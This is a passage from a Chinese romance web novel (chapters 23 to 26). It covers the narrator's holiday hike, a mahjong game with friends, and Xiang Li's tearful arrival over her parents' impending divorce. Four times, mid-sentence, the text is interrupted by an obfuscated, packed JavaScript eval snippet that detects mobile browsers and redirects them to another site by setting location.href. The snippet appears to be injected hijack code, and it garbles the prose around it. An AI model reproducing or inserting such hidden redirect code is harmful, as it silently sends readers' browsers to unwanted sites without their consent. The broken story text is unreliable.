老顾进屋后,奶奶环绕着相黎的车子看了半天,说道:“你爸说得也有道理……看得出来,对方家里条件好,咱们更应该懂事,稳重一点……” 他们两人一人唱白脸,一人唱红脸,这么多年我早已经习惯了,不过从他们的话中能听出对我和相黎的不放心,再怎么样,我和相黎在他们那一辈眼里终究只是个孩子。 难得从和老顾的争辩中抽出身来,还是躲不掉奶奶的怀柔政策。 …… 放假回家待了几天,手头上找不到事做,身体和精神彻底被放空了。 数着日子,已经 是腊月二十三,在我们家乡今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039912|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天是小年。可如今的大年都少了些年味儿,何况是小年?使得这个假期愈发显得枯燥。 我睡到上午九、十点钟,躺在床上,忽地又想起彤姐说过的话,如果我的世界里少了相黎这个人,我该和谁分享生命的光芒?没有相黎,我只能说过得下去,却不能说过得很好……地球没她一样转,我没她静止。 此刻空虚遍布全身,我终于有些体会这种感觉…… 我拿起手机,翻着相黎的微信朋友圈,只有一列潦草几个字:朋友仅展示最近三天的朋友圈。 即使她没有设置三天可见,朋友圈也没有多少东西。她好像不太喜欢分享自己的生活片刻和心情状态。 于是我滑动手指,从朋友圈界面退到聊天界面,点了视频通话,我突然有点期待着看到她的样子,放假这么多天我很想她。 铃声响了十几秒钟,那一头没人接听,我想象着她此刻正在睡懒觉、玩手机,还是约了上海的朋友在街头citywalk……铃声又循环播放了一遍,直到显示“对方无应答”。 过了一小会儿,她微信回复道:“待会儿。” 我回:“搞什么飞机,神神秘秘的?我瘾犯了,看不到你我难受得快要死掉了……” 没过几分钟,相黎回了个视频电话过来,视频里的她穿着一套稍偏正式的时尚冬装,少了学生气,多了几分知性风。 “还在睡觉?这就是你说的……瘾犯了?”相黎娇嗔,反转摄像头,她给我展示的是一副办公楼里工作人员疲于奔命,忙得热火朝天的景象。 “是的,相思疾苦,我已病入膏肓,不能下床。” 相黎翻了个白眼,“哪个病人嘴这么贫?看到我好些了吧,能下床了吗?我刚找了个寒假实习,年底大家都忙着收尾工作,没你这么清闲!” “大小姐你这么拼干吗?是要把我们这些普通人都卷死吗?!一点都不给我们留活路呀……” “躺在床上能有活路?” “大冬天的被窝就是活路,起来也没事做。” “要我在你那儿,一定起早爬爬山,看看日出,然后带着相机到处拍拍,在山间小路里闲逛、发呆也不失为一种生活方式。” “一个人爬山得有多无趣,你在这儿就好了,我一定有做不完的事儿……” “寒艳不跟你挺近的,你怎么会无趣?” 相黎不怀好意地似笑非笑,从她的话里我听出了一丝威胁、戏谑。 不等我回应,那头就传来催促声,听起来像是上级给她交代工作。 “不和你贫了,继续做你的春秋大梦去吧!” 第23章 你要负责 相黎结束通话,徒留我在床上发呆。 …… 我不是那种安于现状的人,我决定听相黎的话去爬爬山。即便只在路上漫无目的地游荡,也要让沉寂下来的思想和身体重新活跃起来。于是我打算趁着小年这一天的阳光正好,沿着龙眠河溯流而上,上龙眠山看看,在山林之间弹弹吉他唱唱歌也不失为一件颇具浪漫主义气质的事情。 尽管天气寒冷,我那颗向往山顶的心却按捺不住,我背着吉他缓步上山,走了近半小时,望着还有大段山路要走,身体的疲惫让我心里逐渐打起了退堂鼓,我不得不弯下腰,双手撑在山边的石头上,膝盖微曲,喘着粗气,席地而坐。 我索性直接驻足在此处,看了手机里存的《日子》的吉他谱,张悬的歌我早已弹唱了无数遍,短暂之后 我便找回了久违的感觉,在山间小路旁,席地而谈,并摆好手机录制了下来。 “我不知道今天会是今天,一旦想到明天,明天就不再是明天,而今天就是今天……每天,都是我能爱你的最后一天,每个今天。后来,不是未来。而是从此,现在,今天。我们像所有人一样谦卑,忙碌与分别。走出家里,走在日复一日的大街。” 录制完成后,我没有对着视频复盘弹奏水平如何,而是直接发到了我久未更新的朋友圈。 我一直觉得一首歌最动听的时候,并不是一遍遍地反复修音,挑出瑕疵重新修正;而是当歌者的情绪能和歌曲共鸣之时,那一瞬间的灵感乍现和情感迸发。 一首好歌永远能做歌者情感的载体。 很快朋友圈的评论区便收到一众好友的评论,褒贬不一,我却丝毫不在意,因为这些来自好友的点赞或评论都是善意的。 我一直在等待着相黎的评论或者点赞,这也是我发朋友圈的小心思所在,却迟迟未等到。 她此刻在上海公司实习或许忙得不可开交,她拥有着常人所没有的背景和资源,注定她的赛道比我们更加拥挤。 …… 我坐在山间路旁,眺望着山下的风景,不时刷新着朋友圈,看看是否有什么有趣的评论。 我眺望着山下广袤的土地和潺潺流水,思绪伴着山间清风吹得老远。我想起古人诗里面说“诸山何处是龙眠,旧日龙眠今不眠”,相传古代有位名家看透世俗纷争倾轧,回到家乡龙眠构筑一座山庄别院,从此归隐龙眠。 我不禁把这个宁静清幽的地方与相黎实习公司的忙碌景象作比较,这分明是两个极端!那边是大都市的快节奏,人们行色匆匆,为了工作和业绩而奔波忙碌;这边则是大自然的静谧与悠然,这里的一切都放慢了脚步。 转念,我无奈笑了笑,我突然认可了虞寒艳先前对我的评价,因为我再一次发觉自己又在为未来发愁了,现在自己的状态真的是很容易为一些稀奇普通的事情而eo…… 大城市容得下灵魂,却容不下肉身;小城市容得下肉身,却无法抚平冲动的灵魂。一个靠走路就能走完的小地方,还是一个坐一天地铁也逛不完的大都市? 相黎注定有专属于她的赛道,那条赛道很拥挤,难以留出给我的位置。 …… 许久,我收到云舒的评论,是《日子》的一句歌词:寂寞如神神如歌。这个在上海打拼,和相黎一样喜欢张悬的女孩,或许也有一颗时常会寂寞的心吧…… 和云舒相遇的那一晚,她应该是充满痛楚和挣扎的,只是那种伤痛我并不能感同身受,当时只好说一些无关痛痒的安慰话。 我同样用歌词回了一句:众神如人寂寞,众人如神般寂寞。 在回复云舒评论的时候,一条微信信息弹出,是虞寒艳发来的,只有短短的三个字:“显眼包!” 我没搭理她,她太喜欢和我抬杠,回复过去待会儿她肯定又是一句接一句的犀利点评。 我拨弄着吉他弦,一个人无聊地又唱着“寂寞如神神如歌”,看着山下的田间冬景,又是一番不一样的感受,我发现我爱上这种感觉了,每一棵树,每一块石头此刻仿佛都拥有了生命一般,倾听着我内心深处的声音。 它们在这山里已经生活千百年,而我只是人世间匆匆过客,还有什么值得我为之悲伤的呢? “夫天地者万物之逆旅也,光阴者百代之过客也。而浮生若梦,为欢几何?” “寄蜉蝣于天地,渺沧海之一粟。哀吾生之须臾,羡长江之无穷。挟飞仙以遨游,抱明月而长终。知不可乎骤得,托遗响于悲风。” 高中课本中学到的古人智慧,在此刻似乎突然完成闭环,原来千百年前的李白和苏轼早就替我回答了心中的疑惑。 就在我为突如其来的豁然开朗感到喜悦之时,虞寒艳又发来信息:“你会打麻将吗?” “会。” “我同学群里有两个好朋友想打麻将,还缺两个人。” “两个好朋友,为什么缺两个人?带你一个,不应该是三缺一?” “我不会。” 我顿感无语至极,“我正在山间抚琴悟道,你喊我打麻将,不怕我把你们好朋友钱赢光了?” “吹牛逼就数你最在行!你到底行不行?行的话我再找一个。” “行,我现在抚琴,你找我弈棋当然行,不过你要来接我,我走了很久的山路,不想再走下山了。” 虞寒艳犹豫半天,担忧她家的电动车电量不足以支撑往返路程,毕竟往返程长达十多公里,再者电动车上山时非常吃电瓶电量。但在我的万般坚持之下,并且告诉她我能约到人,她最终还是同意骑电动车山上接我。 我给虞寒艳发了定位,在她赶过来的空当,我翻了下微信通讯录,联系了高中好友胡成文。胡成文是个名副其实的本地通,还记得他曾眉飞色舞地吹嘘说,他对桐城的了解,大到城镇未来十年的整体规划,小到菜市场每日细微波动的菜价,就没有他不清楚的。 小小麻将他自然不在话下,更重要的一点还是因为他家在城里开了间生意红火的棋牌室。打小,他就泡在棋牌室叽里呱啦的环境中,形形色色的牌友来来往往,耳濡目染之下,使得他对麻将的各种门道极为精通。 他家棋牌室离老顾的店不远,刚好我们俩有这层同窗好友的关系在,在他的牵线搭桥下,他家棋牌室这些年卖给客人的香烟和茶叶都是从我家店里进货。某种程度上说,我们两家算得上是生意上的合作伙伴。 所以,当虞寒艳说想找人打麻将时,我几乎是不假思索,第一个就想到了胡成文。这货听说有妹子约他出来打牌,而且还是高中同班的虞寒艳,二话没说便欣然同意,并且自告奋勇地邀请我们去他家店里玩,所有消费由他胡公子买单。 …… 我坐在路边苦等近半小时,不时吹起的一阵寒风,让我的身子快要僵成一尊没有生气的雕塑。 我向来是不喜欢等待,等待于我而言是一种无声的酷刑,那种感觉就像是置身于一片荒芜的沙漠,找不到一丝可以遮蔽的阴凉,满心的渴望只能在太阳的灼烧中一点点被消磨殆尽。 于是,我站起身朝着大路的方向走去,一边下山,一边等待虞寒艳的到来。 不久,虞寒艳的身影就出现在我的眼前,她的防寒措施做得极其到位,整个人被针织帽和围巾包裹得严严实实,全身上下几乎就只能看到一双眼睛。 我故意问道:“女士,请问你是哪位?” 虞寒艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039913|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉高帽檐,整理了一下衣领处的围巾,啧了一声,摇头不解道:“真服了你啦,这大冷天上这儿做什么,看这一排排老树?山上温度这么低,你搁这儿陶冶情操?” “山间悟道的含金量你懂吗?” “悟出什么来了?” “你还别说,还真有个很深刻的感悟……” 虞寒艳顿时来了点兴致,问:“什么?” “就是……这天儿真冷!” “你就是闲的!……这不,喊你出来活动一下,牌搭子都是我初中同学,很久没聚过了……话说,你到底约到人没有?” 以虞寒艳的性子,我要是没找到人,相信她肯定会变脸,就喜怒无常这一点,她倒是和老顾有点像,他们二人绝对评得上国家一级川剧变脸表演艺术家。 “您吩咐的事情,小的不敢怠慢!胡成文,ok吧?您去高中群里支呼一声,人不是一大堆任您挑?” “你管我……” 她露出满意的神情,无视我的提议,随后目光流向电动车,问道:“还是老样子,你带我吧……顾懿,你有没有发现,每回你坐我车的时候都背着这把吉他?” “你是想说你和这把吉他有缘?休想打我吉他的主意!” “哼,我看你不仅闲,还有不轻的被害妄想症,谁惦记你的破吉他了?” 我骑上车,示意虞寒艳坐上来。她家里的这辆车个头有点小,显然不如学校里的那辆宽敞,虞寒艳背着吉他横坐在后排,空间立刻显得有些局促。 “顾懿,你身子往前去一点……” 或许她也感到不适,话语中透露出少许尴尬。 我回头正想说些什么,突如其来的一阵风将她的一缕秀发吹到了我的脸上,甚至还有几丝飘进了我的嘴里。 “噗!噗!”我手嘴并用,才将嘴里如蛛丝一样难缠的发丝弄出来,随即怨道:“你这大屁股横坐上来,占了多少空间,要我往前挪,我蹲着骑啊?” 虞寒艳横坐在后排,给了她很好的角度用来肘击我,她一晃动胳膊,我就知晓了她的意图,急忙打断她的施法。 “别别别,姑奶奶,我蹲着骑,行了吧!” “手边上是没有针线,不然真想把你这嘴巴缝起来!” 由于是下山路,我一只手不时地轻捏着刹车,轮胎“沙沙”地摩擦着砂石路面,起初没在意这不和谐的“沙沙”声,我渐渐感觉到车头方向不太好把控,而且刹车效果格外地好。 我放慢车速,招呼着虞寒艳下车。 虞寒艳下来后,我坐在车上,让她观察下车胎有没有异样,她打量一番后说后轮轮胎气不足。 我停好车,撑起脚架,实在让我大跌眼镜,不看不知道,后轮哪里是气不足,分明就是没气了。 “妈呀,后轮被你压得喘不过气儿啦!” 缓慢转了一圈后轮,细看之下才发现后轮胎扎了根钉子。 “骑不了啦,扎了根钉子,你来 时就没觉察到异样?” “上山怎么感觉得到?我以为是上坡的缘故,才使不上劲儿……” 本就嫌麻烦不愿意走下山,现在可好,又多了个累赘 。 “傻女人!” 虞寒艳顾不上和我斗嘴,满脸着急,傻站在原地不知所措,思考着解决办法,半晌冒出一句话:“顾懿,你真是个扫把星,跟你在一起准没好事,你要负责!” “姐姐,谁知道您在哪儿扎的钉子,说不定出门前就中招了,扎根钉子气不至于泄得这么快。” “那我不管,你是推着回去呢,还是扛着回去呢,那是你的事!” “草!” 第24章 牌桌霸凌 权衡之下,我决定采取邻近原则,先将车子推回我家,再找修车师傅过来修。 “你和朋友约的什么时间?”我问。 “我们约着待会儿一起吃中饭,完事后直接开始。” “把车停在我老家,咱俩开车去城里,凭我的技术,给你赢点修车费,回头我把车修好再给你送过去。” …… 处理完车,我开着相黎的车子载虞寒艳到了城里。 我们几人碰面吃完中饭后,胡成文在自家棋牌室开了个小包间。他家的店面时常翻新,机器设备也不算老旧,给人的体验很不错。 和我们坐在一张麻将桌上的是虞寒艳的两同学,一男一女,女的叫高曦,男的叫张谦。 “咱们打多大的?” 胡成文云淡风轻地率先询问着众人的意见,一副胸有成竹的样子,他看起来根本就没做会输的打算。 “胡总,你说费用你包,原来是迫不及待想赢兄弟伙的钱呀!” 桌上的其他两人见胡成文这架势,面露苦涩,有些发虚的样子,虞寒艳在一旁见状,建议道:“咱们出来玩就图一乐呵,玩小一点呗。” 胡成文点头表示赞同,说道:“那打5块的,ok吗?” 这小子看样子还真想在我们几个身上搜刮一番,筹码按5块算的话,每个人的筹码总和是一人1000块,真要被胡成文赢了起码也是千儿八百。 胡成文见没人说话,意识到自己太盛气凌人,立马放低姿态说道:“打1块的吧,娱乐为主,赢老同学的钱我怕晚上睡不着觉。” “睡不着觉,是怕半夜做梦笑醒?打两块的,我还指望着赢点儿回去给寒艳修车呢!” 高曦摆出楚楚可怜的模样,朝虞寒艳和张谦叹息道:“瞧这两位都想赢我钱,想想都害怕……” 谁想,张谦一脸无辜地对高曦说道:“不是那两位,其实……我也想赢你钱!” 我们三个男人相视一笑,笑起来竟是如此邪恶,令人不忍直视。 “那就一猪三吃喽!” 虞寒艳站出来为高曦抱不平,“不带你们这么欺负人的吧?” 高曦打断了她,自信道:“寒艳,不用怕,看姐怎么收拾他们!” …… 第一圈高曦坐我上家,胡成文坐我下家。打了几牌过后,我发现高曦打牌是个新手,很轻易就打出我要吃碰的牌,胡成文明显老练太多,把他的下家张谦防得密不透风,几乎不给任何机会。 如此一来,对我就形成了一个优势局面,我一边谨慎防守下家的胡成文,另一边在高曦的“助攻”下极容易听牌,牌风越来越好,三家的筹码很快便聚拢在我一人手里。 高曦打了几局下来,眉头紧蹙,因为她点炮最多,筹码越来越少。 虞寒艳坐在我和高曦两家的身后,我一边出牌一边教她,起初虞寒艳只是笑笑不语,饶有兴致地听我讲解,逐渐她发觉形势不对,高曦输得越来越多。 最后她直接看两家牌,给高曦出牌建议,导致高曦给我吃碰的牌越来越少,几乎是把我防死了。 我顿时傻了眼,难以忍受虞寒艳这可耻行径,我把整副牌盖下,为自己叫屈道:“还带这么玩的?姐姐,你看两家的牌还教人家怎么打,叫我怎么玩?” 虞寒艳竟满脸委屈道:“我不会打麻将,能看懂牌吗?我是在和曦曦商量战术!” “你们商量战术可以,那你别看我牌商量战术!” “你可以选择盖牌打,只要你把牌扶起来我就看!” 我堂堂一个七尺男儿,居然会在牌桌上被两个女子霸凌了! 胡成文和张谦忍俊不禁,我还试图在他们身上寻求一句公道话,谁料胡成文却开口道:“顾总,你搁这得了便宜还卖乖,她们联手才公平,再说,人家寒艳纯纯一新手,能防得住你这老鸟吗?就这样打,没毛病。” “没毛病?没毛病让她看你的牌,教我怎么出牌?” “行啊,我没意见,只要寒艳愿意……我估计寒艳不想看我这一副烂牌,还是你的牌香一点……” 众人听罢大笑不止,我从牌局的掌控者瞬间沦为被针对的对象,包间里充满了欢乐的气氛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039914|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我原本势不可挡的运势在虞寒艳的一番操作之下,点了几个炮,逐渐走背字。 我诧异地发现,虞寒艳不仅教高曦怎么防我,还教她针对我的手牌胡牌。我有点哭笑不得,这还是她口中所谓的“不会打麻将”吗? 第一圈打完,我的筹码回到了原点。 第二圈,胡成文坐我上家,高曦坐我下家,攻守易型,我陷入了被动的局面,筹码打得很平。 高曦坐我下家,虞寒艳虽然不能报牌防我,但她依然看我的牌给高曦出意见,盯着我手中的牌吃碰或者胡牌。 别说,她还挺有原则,只盯着我的牌看…… 张谦坐高曦的下家,领到了高曦的新手大礼包,自摸了几把,使得我的筹码递减。 我被虞寒艳的无赖行为气笑了,道:“虞寒艳。你到底还想不想修车了?” 虞寒艳脸一沉,似笑非笑道:“你这是要给我修车的态度?” 我求饶着 说道:“我就是想赢个轮胎钱,我有什么错……” 高曦扑哧一笑,柔声道:“寒艳,正常打吧,你看他快要哭出来了。” 我好似相声中的逗哏,虞寒艳是捧哏,活生生的麻将被我们二人演成了相声,充满了戏剧性。 突然一阵手机铃声响起,是我的手机。 我摸出手机,是相黎的号码。我的心在包间欢乐的氛围中抽离出来,每当她打我手机的时候,说明是有急事,不然都会发微信。 接起电话,那头传来她平静的声音,听不出情绪波动。 “顾懿,你现在在哪儿?” “在城里,怎么了?发生什么事了吗?要不要紧?” “你是开我车出门的吧?……我现在在车子这里, 你快点过来……” “你是不是开玩笑啊?上午你不还在公司实习吗?” 九点多的时候我还和她通过视频电话,那头她正在公司实习,现在却说到我这儿来了,我难以置信。 但她语气平淡得有些可怕,不像是玩笑。 “等着我,马上到!” 第25章 她的心结 我匆忙起身,让虞寒艳接替我的位置,“您别在后面瞅着啦,过来帮我打一会儿,相黎不知道发什么神经,这都过小年了,还往这儿跑。” 同样,虞寒艳听闻也是满脸不解,即刻收起先前无赖的样子,严肃道:“你快去快回,我可不太会打牌,待会儿给你输个精光。” “没事,你在我后面看我一样输……开玩笑、开玩笑,输了都算我的……” 抛下不明所以的几人,我撒开腿直奔停车位而去,心中紧绷的一根弦丝毫不敢放松。 …… 下楼后,我远远便看见相黎守在车旁,身上的衣服依旧是她在公司实习时的知性穿搭,只不过在寒风中显得有些单薄。 相黎的突然造访着实让我猝不及防,看着她单薄的身影呆站着,我不禁一阵心疼。 待我走近后,她略显疲惫的神情终于有些缓和。 “小祖宗,你这想一出是一出的……” 她沉默着,没有给出任何回答,只是用幽怨的眼神注视着我。我刚想要开口说些什么,还未来得及发出声音,她便像一只受伤后寻求安慰的小鹿,猛地一下扎进了我的怀里。 我先是一愣,随后双臂紧紧收拢,她的身体微微颤抖着,像是在极力压抑着快要破碎的情绪,我感觉到她越来越用力,似乎想要把自己嵌入我的身体,直到彻底瘫软在我的怀中。 像以往无数次那样,我没再追问她缘由,这样只会徒增她的痛苦。我任由她在我怀里哭泣,这个时候,我能给予她的,只有一个不算厚实的胸膛。 “上车吧,外面冷……” 她工作时穿的衣服摸起来并不保暖,冷空气肆掠,傻站在风里很容易受凉。我双手搭在她的肩膀上,缓缓将她扶正,然后小心翼翼地帮她拂拭着脸上的泪痕。 一滴滴眼泪流淌到我的指腹处风干失去痕迹,她孱弱地应了一声,坐到了车里。 “顾懿,我不想回去了……” “今天是小年,你爸妈知道你过来了吗?” “只有你知道我在这儿,我谁也没说,我不想回去面对那个快支离破碎的家了……” 她的泪水再次决堤,声音也随之哽咽,说这句话像是用尽了她全身的力气,整个人像是被抽去了灵魂,瘫软在座位上。 这是她第一次主动和我提及流泪的原因,大学里她排遣的方式便是拉着我不停地喝酒,我问过一次她缘由,她不愿意说,后面我再也没问过。 “可以说给我听吗?” 这一次她没有掩饰内心的秘密,哽咽道:“今天爸爸又一次和妈妈提离婚了,态度很坚决,到了不可挽回的地步……我其实清楚这不是第一次,在很早之前爸爸就有这种想法,我不明白,他明明是那么爱妈妈……” “他一定有自己的苦衷吧……” 相黎点点头,继续道:“爸爸妈妈是大学里认识的,两人都是高学历,爸爸家是农村的,那个年代家庭条件很差,家中兄弟又多,只出了爸爸一个大学生,连上学的学费都是挨家挨户借的,偏偏妈妈家条件又太好,简直是一个天上一个地下……毕业之后,爸爸不被妈妈这边的亲朋好友看好,无奈入赘,婚后家里的生意都是妈妈一个人在打理,爸爸一个男人负责照顾老人,带我和哥哥,明明他曾经也是个有理想抱负的热血青年啊……” 提到她的父亲,相黎愈加呜咽,声音颤抖得厉害,说:“爸爸为了这个家,放弃了自己的追求,这些年他的眼神里再也没有了当年的光芒。妈妈虽然为这个家辛苦打拼事业,可他们之间的距离却越来越远,争吵也越来越多。这个家,早就不是我记忆中的样子了……” 相黎抽噎着,话语断断续续,句句刺痛着我的心。我听着她的哭诉,内心如同遭受着凌迟,我敏锐地发现自己和身旁啜泣不止的相黎即将面临着的也会是相同的局面。 我有些不愿面对这个结局,试图为他们找到解决的方法,问道:“这么多年,为什么要让你爸爸照顾家庭,完全可以请保姆的吧?而且你爸爸还是那个年代的高材生,能力绝对是有的,他们夫妻两个一起打理生意效果不是更好?” “我也问过爸爸同样的问题,他总是回避,只说起初也请过保姆,有一次他下班回来,看到哥哥一直哭,保姆忙着打电话,对他置之不理,那一幕,深深扎疼了他的心,索性心一横,放弃工作,把所有精力放在了家庭上。” 相黎接着又说道:“再后来有了我,爸爸身上的担子更重了,除了要照顾年幼的我,还要去哥哥学校开家长会、辅导他写作业。妈妈总是很忙。对我和哥哥来说,妈妈的意义只在于给我们塞点钱,让我们想买什么就买什么。在我十岁那年,爷爷的身体每况愈下,妈妈是长女,又有经商天分,爷爷便将生意全盘交到她手上,奶奶身体也不大好,照顾爷爷的任务便又落在爸爸身上。” 我不禁唏嘘,相黎父亲的热血就这样一步步被消耗殆尽了。 相黎冷笑一声,问道:“你知道要让爸爸照顾爷爷的时候,奶奶说什么吗?” “嗯?” “奶奶说,谁让他是咱家唯一的闲人呢?爷爷在世的最后两年瘫痪在床,都是爸爸给他擦身喂 饭、端屎倒尿,爸爸经常连轴转,累得晚上觉都睡不好。因为长期给爷爷按摩翻身,爸爸得了腱鞘炎,吃饭拿筷子,有时手都抖。” 听相黎说着他爸爸的任劳任怨,我心里都在为他鸣不平,但是作为当事人,他爸爸又能有什么办法呢,可能唯一的精神寄托就是相黎妈妈和他的两个孩子了…… 我问:“你妈妈为什么不站出来替他分担一点,他一个男人做这么多活,心里一定郁郁不平吧?” 说到家人对他爸爸的态度,相黎眼角的泪水消失不见,愤愤道:“就连妈妈也没觉得有什么,似乎伺候老人,照顾孩子,就该我爸做。” 我不由一阵叹息,如果一味地付出,连最爱的那个人都无法理解自己,该是多么无助? “妈妈从来不关心我和哥哥在想什么,我们只要无条件服从她的指令。爸爸是我们之间的调和剂,他经常带我们兄妹俩去公司看妈妈加班,去他乡下老家体验下田劳作的辛苦……他一直说,我们享受的一切,是妈妈拼命挣来的,妈妈其实很爱我们,只是方式不太对……他告诫我们,每个人都有自己的任务,他负责照料家庭,妈妈负责挣钱,我和哥哥负责健康成长,每个人都应该做好自己的事,不要苛责别人……” “我觉得你爸爸真是这个世界上最好的男人了。” 作为男人,我能深深体会到他那种无私的爱,即使卑微到骨子里。 或许是感到车内密闭的空气过于沉闷,相黎摇下车窗,让车外的冷风无情涌入。 “没有人比他好!” 她深深吸了一口气,继续诉说着她父亲对家人无私的奉献:“无论妈妈工作回家多晚,厨房里总有一盅温得刚刚好的汤等着她;妈妈要洗澡,即使爸爸已经躺下了,他也会爬起来给妈妈拿干净衣服、放洗澡水。妈妈生病时,爸爸衣不解带地照顾她……慢慢地,我们都想,爸爸是真的很爱很爱妈妈吧,所以才愿意包容她的一切,才会心甘情愿地付出……” 我感叹道:“全世界最爱你妈妈的人就是你爸爸了,甚至已经超越了亲情和爱情,这是一种大爱,无私的爱……” “是啊,既然这么爱,为什么要离婚呢……已经默默付出了这么多,为什么要放弃呢……上中学的时候我就发觉爸爸对婚姻萌生了退意,和妈妈经常爆发争吵,尽管都避着我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039915|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和哥哥……也许再浓烈的爱意也会有被消磨殆尽的一天吧?” 相黎脸上泛起苦笑,眼神中充满深深的绝望,像是对人生失去了最后的希望,两眼无神地注视着车窗外,无力道:“妈妈确实给了我公主一样的环境,她说我不用为生活发愁,我这一代家里的担子现在全交到哥哥身上了,哥哥学着打理生意,我只要从事自己热爱的事情就够了……” 相黎摊开双手,盯着指尖,说道:“我从四岁就开始学大提琴,为了上附小、附中,日复一日地训练,手上起过的茧不比你学吉他时少,我曾经也一直以为大提琴将会是我一生热爱的事业……” 听她这么一说,我似乎有些明白她放弃艺术生涯的目的了,看着她哭得有些憔悴的面庞,我的心从未这般刺痛过。 我不忍心地问她:“所以你觉得只要你和哥哥一样能肩负起打理家族生意的重担,就可以替妈妈分担压力,让妈妈尽早回归家庭?然后就放弃了心爱的大提琴考到了我们这儿?你这想法太幼稚了……” “在附中上学不参加艺考是多么荒唐的一件事?我就想用这件事来向他们表明自己的态度,爸爸背井离乡没时间赡养自己的父母,我考到这儿来替他尽孝,弥补他心中的亏欠,希望他们的婚姻不要因为这个出现问题,我用我自己的方式来缝补他们婚姻的裂痕!” 我有些动容,心中涌起难以言喻的心疼,不忍心戳破她苦苦支撑的幻想,说道:“可这并不是问题所在,你没看清楚……或许,你看清楚了,但是内心不愿意去面对……” “当我告诉他们要考普通高校的时候,爸爸或多或少知道了我的想法,最终拗不过我,还给我补习文化课。妈妈骂了我一阵后,放弃了劝说,就留下一句话,只要我好好生活,随便我怎么疯……后来几年,他们确实没怎么吵过,毕竟要照顾我的感受……我以为他们的婚姻没什么问题了……” “前些日子,你爸难得回来一次却是为母奔丧,他心里积攒已久的痛苦终于又爆发了……” 我不禁有点同情这个男人,为了自己的家操劳半辈子,却因此丢失了自己的故乡。 …… 听完她的讲述,我将自己置于她爸爸的角度,以一个男人的视角,从毕业经历的种种开始感同身受,那种渴望爱,然后被爱不断折磨的无力感蔓延全身。 回到自己身上,我和相黎又是不是在重复父辈的老路呢? 她在这几年里一直在父母的婚姻问题里煎熬着,我却从未去了解过她那些不为人知的痛苦和挣扎。 “顾懿,你说句实话,同样的事情放你身上,你愿意为了和我在一起我舍弃那么多珍贵的东西吗?比如男人的梦想,还有你一直追寻的自由……” 相黎话锋一转,突然问道。 我看着车外手提大包小包,置办年货准备过年的人 们陷入了沉思,热闹的街道徒留我和相黎在这冷清的车中互诉衷肠。 我没办法斩钉截铁地告诉她一个准确的答案。 看出我的犹豫,相黎没有刨根问底,避开了这个话题,问道:“有没有推荐吃饭的地儿,肚子有点饿了……” 我指着胡成文家的棋牌室,“你瞧那边那家棋牌室,是我朋友家开的,图方便可以去那儿吃。” “你刚才就是从那儿出来的……是和朋友打牌?” “嗯,都是高中同学,放假出来聚聚,寒艳也在,我出来这么久,她怕是把我钱都输光了……” 相黎显得有些犹豫,脸上硬挤出一个笑容,问道:“顾懿,要是没认识我,你和寒艳是不是成一对了?和我在一起的时候,你总是苦恼比快乐多,你和寒艳在一起就没有这么多顾虑,她应该从来不会向你灌输负面情绪,惹得你不开心……” 第26章 普通朋友 相黎在这种状态下,情绪如同绷紧的琴弦,对感情上的事更加敏感,她毫无预兆地又把话题转移到了虞寒艳身上,这根本就是两码事。 抚摸了一下她的额头,再摸了摸自己的。 “你没发烧,说什么胡话?哪个告诉你和你在一起我不开心的?有爱就如同有光,而光的背后必然会有阴影,有痛也是必然。此刻,你心里被痛苦占据,所以看到的都是爱的阴暗面……” “和我在一起,你是快乐多一点,还是痛苦多一点?” 她压根没听进我的话,而是执着地想从我嘴里知道答案。她现在精神的信仰仿佛在逐渐崩塌,是感情上的惊弓之鸟,外界的一点风吹草动都会牵一发而动全身,保不齐她又是想一出是一出。 “你说你的家摇摇欲坠,可我的家在九岁那年就已经支离破碎……我一直是一个活在阴影里的人…直到遇见你,我那本就一塌糊涂的人生才被照射进光芒……没有遇见你之前,我孤身一人,得过且过……就和你说的一样,我现在总是患得患失,因为我怕,我怕有一天老天又会绝情地收走这束照耀我生命的光,我不想再孤身一人了!” 相黎有点错愕,看着我慢慢激动,为了平息下我的情绪,她终于不再纠结,催我道:“快点带我去吃饭,我午饭还没吃……” 